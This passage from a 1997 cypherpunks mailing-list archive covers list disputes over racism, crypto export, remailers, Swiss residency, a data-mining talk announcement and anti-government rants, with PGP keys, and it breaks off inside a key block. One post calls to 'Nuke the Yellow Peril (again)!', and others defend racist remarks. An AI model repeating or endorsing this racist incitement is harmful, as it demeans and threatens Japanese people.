>not also share his wealth.  Pragmatic considerations alone should make
>you reluctant to be an apologist for racist comments, or in William's
>case to compound the error with shockingly offensive remarks of his own.

Actually, the beauty of modern capitalism is that there are so many customers for whatever it is one sells (or could sell) that you can say anything you want and not suffer economically for it (for very long).  Freedom, it's wonderful.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 17 Nov 1997 15:21:31 +0800
To: Alan Olsen <alan@clueserver.org>
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <3.0.2.32.19971116200126.006de1a4@netcom12.netcom.com>
Message-ID: <3.0.2.32.19971116232006.00722604@netcom12.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:33 PM 11/16/97 -0800, Alan Olsen wrote:
>>
>>o There is typically an exemption in license agreements for distribution of
>>software that charges nominal media costs. If PGP overlooked this, it can
>>be added trivially. No need to get excited about it.
>
>I know that, you know that, but do the lawyers know that?

I trust they do now.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 17 Nov 1997 12:40:47 +0800
To: "Frederick G.M. Roeber" <cypherpunks@toad.com
Subject: Re: CH (Was: Scared of US; Where to relocate?)
In-Reply-To: <199711121431.PAA10956@basement.replay.com>
Message-ID: <3.0.2.32.19971116232947.03d00e38@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:37 PM 11/14/97 -0800, Frederick G.M. Roeber wrote:
>Switzerland jumps to mind for points 1-3: stable politically, good
>economy, and first class medical.  There is a job market, but they're
>very restrictive about letting people in, particularly if you might want
>a job that a Swiss would do.  It helps if you're rich.

Actually, this is not true if you don't mind temp work.  Computer 
professionals can easily get temp assignments in Switzerland and become 
permanent temps.  With luck they can get B permits and then C permits 
(permanent residency) after a year.

>The taxes are high, as is the cost of living.  There are strong social
>programs just about everywhere.  It's landlocked.  Consumerism isn't as
>developed there, which translates to poor service and bad selections.

The taxes (and everything else) vary by Canton.  Some Cantons (Zug for 
example) have taxes low enough to qualify them as low-tax countries.  Stay 
out of Zurich though.

>Not perfect, but nice.  I'd feel a lot happier raising kids there than
>here in the US.

A lovely Osteria in Ticino (the Italian Canton).  Polenta cooking in a pot 
over the fire in the fireplace.  Walls covered with the heads of dead animals 
and literally dozens of long guns of all vintages including a few semi-
(full?)autos.  Ten minutes outside of one of Switzerland's major cities.

Nice people.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 17 Nov 1997 15:36:34 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism
Message-ID: <3.0.32.19971116233241.006c050c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:

>Just having racist thoughts, let alone expessing them, is equivalent to
>extreme violence. Remember the student who got suspended for a semester
>for laughing while singing "We shall overcome"?
.....................................................

Didn't hear about that.   Don't care.   Cypherpunks should know better.   

"Cypherpunks acknowledge that those who want privacy must
create it for themselves and not expect governments, corporations, or
other large, faceless organizations to grant them privacy out of
beneficence."

Cypherpunks also realize that with the secure privacy they enable, people
will be free to exchange not only pornographic thoughts, but all manner of
other opinions, including racist misgivings.   Most cypherpunks feel pretty
free to hold all manner of offensive impressions not only of governments
and major software companies, but of each other, as well, and especially
feel pretty free to express these personal impressions, not only in
private, but in public, even if Interpol is watching.  This is not unusual
and quite understandable, as most cypherpunks are male and lacking in the
delicacy of gentlemanly manners (except for Tim May, who is always careful
with his words and focuses mainly on the point of code in the swiftly
evolving world of cyberspace).

Any list member who hasn't yet realized this needs help and should spend
some time communicating with TruthMonger.

    ..
Blanc
p.s.  and Dimitry, you shouldn't be posting through 'toad' anymore, if you
don't want to be identified as a 'toady'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 14:04:35 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <3.0.2.32.19971116231506.0387c394@panix.com>
Message-ID: <BsRage5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



frissell@panix.com writes:

> At 08:54 PM 11/14/97 -0500, Anonymous wrote:
> >It is astonishing that people like you and William Geiger, who apparently
> >make their living as consultants, feel so comfortable publicly approving
> >racist comments directed against the Japanese.  Does William expect ever
> >to work with a Japanese customer, after suggesting that Truman should
> >have dropped additional atomic bombs on Japan?
> >
> >Even if you share Tim May's lack of moral constraint, you presumably do
> >not also share his wealth.  Pragmatic considerations alone should make
> >you reluctant to be an apologist for racist comments, or in William's
> >case to compound the error with shockingly offensive remarks of his own.
>
> Actually, the beauty of modern capitalism is that there are so many customers

Net.scum like Ito-San try to get people fired from their jobs because of
what they say on the Internet.  Nuke the Yellow Peril (again)!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Mon, 17 Nov 1997 16:14:25 +0800
To: cypherpunks@cyberpass.net
Subject: The Illusion of Freedom
Message-ID: <199711170804.AAA02434@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Kent Crispin wrote:
>On Thu, Nov 13, 1997 at 05:59:51AM -0000, [Nerthus] wrote:
>[...]
>> 
>> "I know not what course others may take; but as for me, give me liberty, 
>> or give me death." -- Patrick Henry
>> 
>> What is life without liberty?  Abject slavery.  Any sane man would rather
>> die than be a slave.
>
>It makes nice rhetoric, but this is simply not true, you know.  Most 
>people correctly evaluate that you have no chance for freedom at all 
>if you commit suicide, whereas a slave *does* have a chance.

Assuming he recognizes that he *is* a slave.  Most people are oblivious
to this fact.

>But of course we know from game theory that being completely
>predictable can be a weakness.  So having a certain percentage of the
>population who will behave irrationally is probably necessary for the
>health of a society.  But if too many people act irrationally, 
>society will disintegrate.  (By "irrational" here I am referring to 
>behaviour clearly contrary to your own survival.)

'Tis true.  War is a perfect example of what happens when too many
people act irrationally.

I'm interested in avoiding war without becoming a slave in the process.
Anyone else?

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 17 Nov 1997 16:05:06 +0800
To: cypherpunks@Algebra.COM
Subject: (Fwd) NaiF Meeting on Data Mining - MONDAY 11/17
Message-ID: <3.0.32.19971117000344.00688174@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Thought this might be of interest to some of you in the Puget Sound area.
    ..
Blanc

>	NORTHWEST ARTIFICIAL INTELLIGENCE FORUM
>
>WHEN:    Monday, November 17th, 1997. 
>                No-host dinner: 5:30 - 6:30 p.m.
>                Social hour: 6:00 - 7:00 p.m.
>                Training: 7:00 - 8:30 p.m.
>     
>WHERE:	The College Club, 5th Avenue & Madison Street, 
>		in Seattle.  (Directions later in this notice.)
>
>TOPIC:		Data Mining and KDD: An Introductory Overview
>
>SPEAKER:  	Usama M. Fayyad, Ph.D., Microsoft Research
>
>COST:   	Public $10, NaiF members free. Complimentary parking
>              	until 9 p.m. for all attendees in the College Club garage. 
>
>ABSTRACT
>
>Knowledge Discovery in Databases (KDD) and Data Mining are concerned with
>the extraction of high-level information (knowledge) from low-level data
>(usually stored in large databases).  Dr. Fayyad will give an overview of
>this rapidly growing area, define the goals, present motivation, and give a
>high-level definition of the KDD Process and how it relates to Data Mining.
>He will then focus on data mining methods.  These methods have their origins
>in statistics, pattern recognition, learning, visualization, databases, and
>parallel computing.  Basic coverage of a sampling of methods will be
>provided to give a feel for what the methods are about and how they are
>used.  
>
>He will outline the research challenges and opportunities posed by the
>problem of extracting models from massive data sets (i.e., much larger than
>main memory). Operating under such scalability constraints poses interesting
>problems for how models can be built and what methods are practical.  He
>will use an application in astronomy, done at JPL/Caltech, to motivate the
>need for dealing with large databases, to illustrate problems of
>classification and clustering with verylarge data sets, and to illustrate
>how these techniques can offer powerful novel solutions to significant
>problems.
>
>BIOGRAPHY
>
>Usama Fayyad is a Senior Researcher at Microsoft Research
>(http://www.research.microsoft.com/research/dtg/fayyad)
><http://www.research.microsoft.com/research/dtg/fayyad)> .  After receiving
>the Ph.D. degree in 1991, he joined the Jet Propulsion Laboratory (JPL),
>California Institute of Technology, until 1996.  At JPL, he headed the
>Machine Learning Systems Group where he developed data mining systems for
>automated science data analysis.  He remains affiliated with JPL as a
>Distinguished Visiting Scientist.  Dr. Fayyad received the 1993 JPL Lew
>Allen Award for Excellence in Research, and the 1994 NASA Exceptional
>Achievement Medal.   
>He was program co-chair of KDD-94 and KDD-95 (the First International
>Conference on Knowledge Discovery and Data Mining).  He was general chair of
>KDD-96, is editor-in-chief of the journal "Data Mining and Knowledge
>Discovery," and co-editor of the new MIT Press book (1996) "Advances in
>Knowledge Discovery and Data Mining."  His research interests include
>knowledge discovery in large databases, data mining, machine learning,
>statistical pattern recognition, and clustering.  
>
>DINNER & AI
>
>NaiF members and non-members are invited to come early and order your own
>dinner from the College Club's delicious and economical menu.  The College
>Club offers free beer and some soft drink selections to Club members and
>their guests (that includes all NaiF program participants) during their
>happy hour" from 5 to 7 p.m.  Why not come directly from work (please arrive
>by 5:30 p.m.) and join the NaiF Board, NaiF members and friends in a great
>dinner before the evening program?  To aid in their planning, the College
>Club requires a count of the NaiF dinner participants.
>R.S.V.P. for the dinner only to Dave Ault (DAAult@Brigadoon.com
><mailto:DAAult@Brigadoon.com> , or 206-783-2917) by Noon on Wednesday,
>November 12th, 1997.
>
>SOCIAL HOUR
>
>Come early (or join us after dinner) and network with other AI professionals
>and enthusiasts during our social hour from 6:00 to 7:00 p.m.  NaiF provides
>complimentary coffee and sodas during the social hour and program
>presentation.
>
>DIRECTIONS TO COLLEGE CLUB
>
>FROM THE SOUTH -
>*	Take the Madison Street exit from I-5.
>*	Turn left (west) at the light onto Madison St.
>*	Turn left (south) at the second light onto 5th Avenue.
>*	Turn left immediately into the garage under the College Club.
>
>	FROM THE NORTH -
>
>*	Take the Union Street exit from I-5.
>*	Turn left (south) onto 5th Avenue.
>*	After Madison St. turn left into garage under the College Club.
>
>
>	NaiF BOARD & OFFICERS
>
>	Dave Ault, Ph.D.   
>	Frank Christopherson, Ph.D.
>	Paul Gianattasio (President)
>	Robin Gianattasio (Secretary)
>	Al Leichner, C.P.A. (Treasurer)
>	Rae Mackay
>	Dan Mahler (Vice President)
>	Mike Michaels, Ph.D.
>	Philip Murphy, Ph.D.
>	Brian Weisbrod
>
>
>	NaiF ACTIVITIES
>
>*	To volunteer for NaiF activities please contact NaiF President Paul
>Gianattasio at <Topper@Halcyon.com <mailto:Topper@Halcyon.com> >.
>*	NaiF gives AI practitioners a forum to share their experiences and
>results.  Interested?  Contact Program Director Dr. Dave Ault at
><DAAult@Brigadoon.com <mailto:DAAult@Brigadoon.com> >.
>
>For additional information on NaiF's activities please connect to our WWW
>Web Site.
>
>CONTACTING NaiF
> 
>P.O. Box 181                            
>Bellevue, WA, 98009-0181   
>  
>World Wide Web Site:
>	http://www.halcyon.com/topper/naif.htm
><http://www.halcyon.com/topper/naif.htm> 
>If you know of others who would like to be included on NaiF's e-mail
>distribution list, with their permission, please forward their name and
>e-mail address to the sender of this message.
>David A. Ault, Ph.D.                	<DAAult@Brigadoon.com
><mailto:DAAult@Brigadoon.com> >
>P.O. Box 31864                        
>Seattle, WA 98103-1864	 (206) 783-2917
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 16:12:08 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <v03102800b0952d88bc56@[207.167.93.63]>
Message-ID: <v03102803b0959a3b462b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:53 PM -0700 11/16/97, Joichi Ito wrote:


>> Get the RSA chip released widely and quickly. The drug trade in Asia could
>> use it right now.
>
>I am going to actively work on trying to get people like RSA to export
>their chip, but not necessarily for the drug trade.
>


I'll just focus on this one point for now....

The "but not necessarily for the drug trade" shows up what I think is a
common misconception: that "good users of crypto" can be distinguished from
"bad users of crypto."

("But not necessarily for" has another interpretation, that strong crypto
is not being developed _for_ the drug trade. This is really the same
point--who will use strong crypto is not something easily controlled.)

The thoughtful officials who decide crypto policy (there are some) actually
understand the fallacy of this notion. They understand that once
"unbreakable crypto" is widely available, that once secure phones are for
sale at every electronics store, their is no way to distinguish good users,
e.g., freedom fighters, from bad users, e.g., terrorists. Or Oceania users,
who are our allies, from Eastasia users, who are our enemy (this week).

Those of us who support liberty, personal choices, and freedom from state
control understand this, too. We understand that strong crypto will help
black marketeers keep secrets and avoid surveillance just as it will help
civil rights groups.

How else could it be?

I embrace the use of strong crypto by the "underworld" for the simple
reason that historically this has been a major vector for the spread of new
technologies. And it tends to undermine governments. And most of what is
declared to be contraband, or illegal to consume, is no violation of the
real rights of others.

(I have used the same sig, with only minor modifications, for more than
five years.  The inclusion of "black markets, collapse of governments" was
deliberate.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 16:31:49 +0800
To: tcmay@got.net
Subject: Re: Announcing a disposable remailer
Message-ID: <LEIKCCAFKCDKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Announcing the Woodwose Remailer!

Instructions for Use:
Point a web browser to:

http://mailexcite.com/


Use the name woodwose and password jaguar7.

The buttons for operating the mailer page are clearly marked--I won't
bore anyone with trivia.

Since the username and password for this account have now been
publicly posted, anyone can use this account to send/receive email. 
Obviously anyone who can log in can read replies to your messages, and
delete them too.  PGP encrypted replies are highly recommended, and
don't count on getting replies too much.

The name under which this account was created is not my real name.

This is my nym-persistence key:

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5

mQENAzRgm1kAAAEIAKuDuhI2L3bR4InCJxzaiPLtLHU+tFaD8NeVWAh+XiYme5Cp
aH5oKDUVzPFoSTidYC11xB5VIXRX6yCnjk5MqX3VlKJ+hVv/4vY20ZlVBaDc8IZ5
GvrEc8+iify3OdOkh3p4FuUbT2rgV/QO8n1UPOfwpzPAF/cqznqgUHuupB6+/k1n
7y6vCMQp1GmOZP9LO6MqZOKmtzKbrBNwio+Yp+vGFv0/HDW1ZD1bIIQL+ZhEXVR7
0Px5u8yeGUer6vdmz8S44s76JPnYPGU5z7vprndc5QHMIjQY9ZUWxlvsR43s1RuZ
0r+1f35f4LhxCOyf2FLV6+hI9Rjd9Uu3rrYNJeEABRG0HFdvb2R3b3NlIDxXb29k
d29zZUBkZXYubnVsbD6JARUDBRA0YJtZ9Uu3rrYNJeEBAcLbB/90co6BJRGtIrNZ
2BqiA8+VrsGQMzUfCl4cas4i+G0aKigkemW/TlbSUEF7YIk7bh/ZQ49eAGucrfM5
NICAqSSzNQx+3h2pzYn/uN5+55QOLho4PwwJw+qr31o+weuIgyoMuECNb2IZUtGn
fwfC3MZtZrqwfSzoXpJRZNQCrj+lZKUc14VEJ9kcw1Vt93+E6dTPd+GgyAlcbZ9v
6thY86iTmccCDMv5tPvrAQ/buPHZif1mFs3Ii2pBZ06gpypj2vVTJ63wp5tfASZL
RwfXJT3CmjiCQFpHQIGNDwZmc4YaFaFUGobI47nEJXksdTrE8o1f9ISwrDc2RZIX
+VP1+pyo
=7OWl
- -----END PGP PUBLIC KEY BLOCK-----

This one is included for fun & entertainment:

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5

mQENAzRuCjkAAAEIAL/9Rybwp3um7n1fuyasj35/cy9mO4eZEAzamx3wIQkwYoEX
jb2soJ5khlksI9lugtYBvSltDO6OmyiP2YRBI9vEh/GSAefvDIka4wtif9YkW9Rx
4lO4tFcWVdoRWkbDVxipp0t9tniWrnpJTNDORBjOmsNQBftqcId8/3E61L6A0iT1
dL/U186h/iBpnmpM1/iPfu1Jj+oD0DIIcNOIUo4QAZ2z3h8LZQnQIkPelboupe6h
dNhYHomsN9CUwP50eV2brX3xm9s6vaFWSYzUtB5HksBIxd4zuo210JFgmUn2afjS
HbNGzn7XV8NpuHz7ixWYHH4poD1bTBkFV1HV2dcABRG0J0N5cGhlcnB1bmtzIExp
c3QgPEN5cGhlcnB1bmtzQGRldi5udWxsPokBFQMFEDRuCjpMGQVXUdXZ1wEBeYsI
AJ/VLm2vHLpMhVqRuwaRgI9KDAxPOinLxbXKCGdAXEZeNrUCgcHE7DqoZv/B9R+/
XAiNXyCMZb0fw0XGlsV8OTRaYr7fQj6zZO5TPBksmgwxPoF8oKqUjO4kE7CCIpA2
Gsy4ZDCgKhwxxDVjKlwrRHCYCPYY5Tm6mbia9Ix3HVBOPxUCG8b9c3zTGyqFpgII
+a8jn4QOidX5llZDejLMe3E/67Mqv6/n2P2cjDmDhN2V00cpvMHwV8WHh/MebvYp
MY1xRTH8Nj5F1o5kWC5dLeGCM0Zgg4N6MluZE6ifOsd2/3PwDwlCMsNuFkzJhnsv
bS4G8rUv9I0pQlThE78A78Y=
=OcKK
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNG4RTfVLt662DSXhAQFpaggApc9R6CnTYzTA8BJd+kq94kfQeoK/sNU+
J+CI2t+PXLY+IcjK/qjH4J6h60PNVvHQXtK8mwjj4CgjvnGSsqj8snsSh4AGujyd
N/ZXcU0g+KpZhI5XWqNqj9B4I7uosgEd63CrnyEUAFB4Rd4w/+xPa4Hsq06Y7yGO
IBwqGQXtXHaolvDFQb4tDLuSiG4YzmjvnAVwWTVMOmv2ZzD/4+vNBvylq4cdbJ8j
P1f1GmDcZBXXKijXyIFbdWhbGL5Q47Zmpbflhgt+WjKUhg1d23NbRlelzi/R2ykz
VFUGztzyBkRN+QT7Ei2GRD31bzprwYXy7QcmjuE6CjBsE+lQ2aZwPQ==
=6lXj
-----END PGP SIGNATURE-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 16:34:10 +0800
To: JonWienk@ix.netcom.com
Subject: Re: Announcing a disposable remailer
Message-ID: <AIIPCPIBKDDKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Announcing the Woodwose Remailer!

Instructions for Use:
Point a web browser to:

http://mailexcite.com/


Use the name woodwose and password jaguar7.

The buttons for operating the mailer page are clearly marked--I won't
bore anyone with trivia.

Since the username and password for this account have now been
publicly posted, anyone can use this account to send/receive email. 
Obviously anyone who can log in can read replies to your messages, and
delete them too.  PGP encrypted replies are highly recommended, and
don't count on getting replies too much.

The name under which this account was created is not my real name.

This is my nym-persistence key:

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5

mQENAzRgm1kAAAEIAKuDuhI2L3bR4InCJxzaiPLtLHU+tFaD8NeVWAh+XiYme5Cp
aH5oKDUVzPFoSTidYC11xB5VIXRX6yCnjk5MqX3VlKJ+hVv/4vY20ZlVBaDc8IZ5
GvrEc8+iify3OdOkh3p4FuUbT2rgV/QO8n1UPOfwpzPAF/cqznqgUHuupB6+/k1n
7y6vCMQp1GmOZP9LO6MqZOKmtzKbrBNwio+Yp+vGFv0/HDW1ZD1bIIQL+ZhEXVR7
0Px5u8yeGUer6vdmz8S44s76JPnYPGU5z7vprndc5QHMIjQY9ZUWxlvsR43s1RuZ
0r+1f35f4LhxCOyf2FLV6+hI9Rjd9Uu3rrYNJeEABRG0HFdvb2R3b3NlIDxXb29k
d29zZUBkZXYubnVsbD6JARUDBRA0YJtZ9Uu3rrYNJeEBAcLbB/90co6BJRGtIrNZ
2BqiA8+VrsGQMzUfCl4cas4i+G0aKigkemW/TlbSUEF7YIk7bh/ZQ49eAGucrfM5
NICAqSSzNQx+3h2pzYn/uN5+55QOLho4PwwJw+qr31o+weuIgyoMuECNb2IZUtGn
fwfC3MZtZrqwfSzoXpJRZNQCrj+lZKUc14VEJ9kcw1Vt93+E6dTPd+GgyAlcbZ9v
6thY86iTmccCDMv5tPvrAQ/buPHZif1mFs3Ii2pBZ06gpypj2vVTJ63wp5tfASZL
RwfXJT3CmjiCQFpHQIGNDwZmc4YaFaFUGobI47nEJXksdTrE8o1f9ISwrDc2RZIX
+VP1+pyo
=7OWl
- -----END PGP PUBLIC KEY BLOCK-----

This one is included for fun & entertainment:

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5

mQENAzRuCjkAAAEIAL/9Rybwp3um7n1fuyasj35/cy9mO4eZEAzamx3wIQkwYoEX
jb2soJ5khlksI9lugtYBvSltDO6OmyiP2YRBI9vEh/GSAefvDIka4wtif9YkW9Rx
4lO4tFcWVdoRWkbDVxipp0t9tniWrnpJTNDORBjOmsNQBftqcId8/3E61L6A0iT1
dL/U186h/iBpnmpM1/iPfu1Jj+oD0DIIcNOIUo4QAZ2z3h8LZQnQIkPelboupe6h
dNhYHomsN9CUwP50eV2brX3xm9s6vaFWSYzUtB5HksBIxd4zuo210JFgmUn2afjS
HbNGzn7XV8NpuHz7ixWYHH4poD1bTBkFV1HV2dcABRG0J0N5cGhlcnB1bmtzIExp
c3QgPEN5cGhlcnB1bmtzQGRldi5udWxsPokBFQMFEDRuCjpMGQVXUdXZ1wEBeYsI
AJ/VLm2vHLpMhVqRuwaRgI9KDAxPOinLxbXKCGdAXEZeNrUCgcHE7DqoZv/B9R+/
XAiNXyCMZb0fw0XGlsV8OTRaYr7fQj6zZO5TPBksmgwxPoF8oKqUjO4kE7CCIpA2
Gsy4ZDCgKhwxxDVjKlwrRHCYCPYY5Tm6mbia9Ix3HVBOPxUCG8b9c3zTGyqFpgII
+a8jn4QOidX5llZDejLMe3E/67Mqv6/n2P2cjDmDhN2V00cpvMHwV8WHh/MebvYp
MY1xRTH8Nj5F1o5kWC5dLeGCM0Zgg4N6MluZE6ifOsd2/3PwDwlCMsNuFkzJhnsv
bS4G8rUv9I0pQlThE78A78Y=
=OcKK
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNG4RTfVLt662DSXhAQFpaggApc9R6CnTYzTA8BJd+kq94kfQeoK/sNU+
J+CI2t+PXLY+IcjK/qjH4J6h60PNVvHQXtK8mwjj4CgjvnGSsqj8snsSh4AGujyd
N/ZXcU0g+KpZhI5XWqNqj9B4I7uosgEd63CrnyEUAFB4Rd4w/+xPa4Hsq06Y7yGO
IBwqGQXtXHaolvDFQb4tDLuSiG4YzmjvnAVwWTVMOmv2ZzD/4+vNBvylq4cdbJ8j
P1f1GmDcZBXXKijXyIFbdWhbGL5Q47Zmpbflhgt+WjKUhg1d23NbRlelzi/R2ykz
VFUGztzyBkRN+QT7Ei2GRD31bzprwYXy7QcmjuE6CjBsE+lQ2aZwPQ==
=6lXj
-----END PGP SIGNATURE-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 17 Nov 1997 07:59:56 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199711162350.AAA16143@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The DEA announced friday that doctors in Oregon that participate in doctor assisted suicides will have their licence to prescribe drugs revoked. Since when did the DEA gestapo obtain the power to regulate physician's rights to prescribe the drugs their patients need? But more important is the realization that the thugs in DC now consider our votes null and void, the _people_ of Oregon voted to allow assisted suicide, TWICE, I thought this was a government _of_ the people? In Arizona, the people voted to allow doctor prescribed marijuana for those that the doctors thought it would help relieve their pain, the governor of that state the morning after the vote declared the people of Arizona were stupid and he would block implementation of the law, what the fuck are these hicks voting for don't they read the pabulum we spoon feed them day after day about the dangers of drugs?

The Kent Crispins of the world wake up, voting is a waste of time, the bastards only allow us to vote for Moe, Curly, or Larry, all of the same union of thugs, some assigned to the Republican party, some assigned to the Democratic party, soon even that fig leaf of democracy will be discarded and the maximum leader will tell us it is necessary for national security reasons to suspend voting on our leaders.

Lock and Load? No I dont think so, it is pointless, go out get drunk, screw anybody that will consent, have a good time, the chains will soon clamp on your neck.

Amerika love it or leave it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 17 Nov 1997 18:16:22 +0800
To: cypherpunks@toad.com
Subject: Re: Politically Correct Riding Hood
In-Reply-To: <199711162222.QAA29767@wire.insync.net>
Message-ID: <3.0.3.32.19971117011300.032b526c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713752.multipart/signed"

--Boundary..3986.1071713752.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 05:51 PM 11/16/97 EST, Dr.Dimitri Vulis KOTM wrote:
>Eric Cordian <emc@wire.insync.net> writes:
>>
>> Author Unknown (to me at least) but it fits in well with our current
>> discussion of how not to offend various minority groups.
>>
>> -----
>>
>> There once was a young person named Little Red Riding Hood who lived
>...
>
>This is the first story in a very funny little book called _Politically
Correct
>Bedtime Stories: Modern Tales for Our Life & Times_ by james Finn Garner,
>Macmillann, ISBN 0-02-542730-X, *** (C) 1994 by James Finn Garner ***.
>
>I also have his _Once Upon a More Enlightened Time: More Politically Correct
>Bedtime Stories_, Macmillan, ISBN 0-02-860419-9.  Both highly recommended.

Yeah, but the story in Garner's book didn't end with
>"I feel your pain," said the Wolf, and he patted the woodchopper on
>his firm, well padded ass, gave a little belch, and said, "Do you have
>any Maalox?"


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713752.multipart/signed
Content-Type: application/octet-stream; name="pgp00009.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00009.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5IQVhac0pGMGtYcXB3
M01FUUtvblFDY0RVRXczWUdTMTFtbGNKUVFodDh1Zi84Qy9uRUFuQW95Cnlj
ZDhDS0ZrN0xoc0UrVWN0c1hTeGNzcQo9NTJmKwotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713752.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Nov 1997 17:25:57 +0800
To: pgp-bugs@pgp.com
Subject: Hard To Read PGP 5.5 Key
Message-ID: <3.0.3.32.19971117012039.0074c0f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"Benjamin Chad Wienke" <woodwose@mailexcite.com>
posted a message with the PGP 5.5 key attached below.
My Eudora 3.0.3 plugin couldn't find any PGP-relevant information,
though I had no problem using PGPtray's Add Key From Clipboard.
PGP 5.0 indicates it's an RSA key and doesn't show anything special
about it like CMR :-)

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5

mQENAzRgm1kAAAEIAKuDuhI2L3bR4InCJxzaiPLtLHU+tFaD8NeVWAh+XiYme5Cp
aH5oKDUVzPFoSTidYC11xB5VIXRX6yCnjk5MqX3VlKJ+hVv/4vY20ZlVBaDc8IZ5
GvrEc8+iify3OdOkh3p4FuUbT2rgV/QO8n1UPOfwpzPAF/cqznqgUHuupB6+/k1n
7y6vCMQp1GmOZP9LO6MqZOKmtzKbrBNwio+Yp+vGFv0/HDW1ZD1bIIQL+ZhEXVR7
0Px5u8yeGUer6vdmz8S44s76JPnYPGU5z7vprndc5QHMIjQY9ZUWxlvsR43s1RuZ
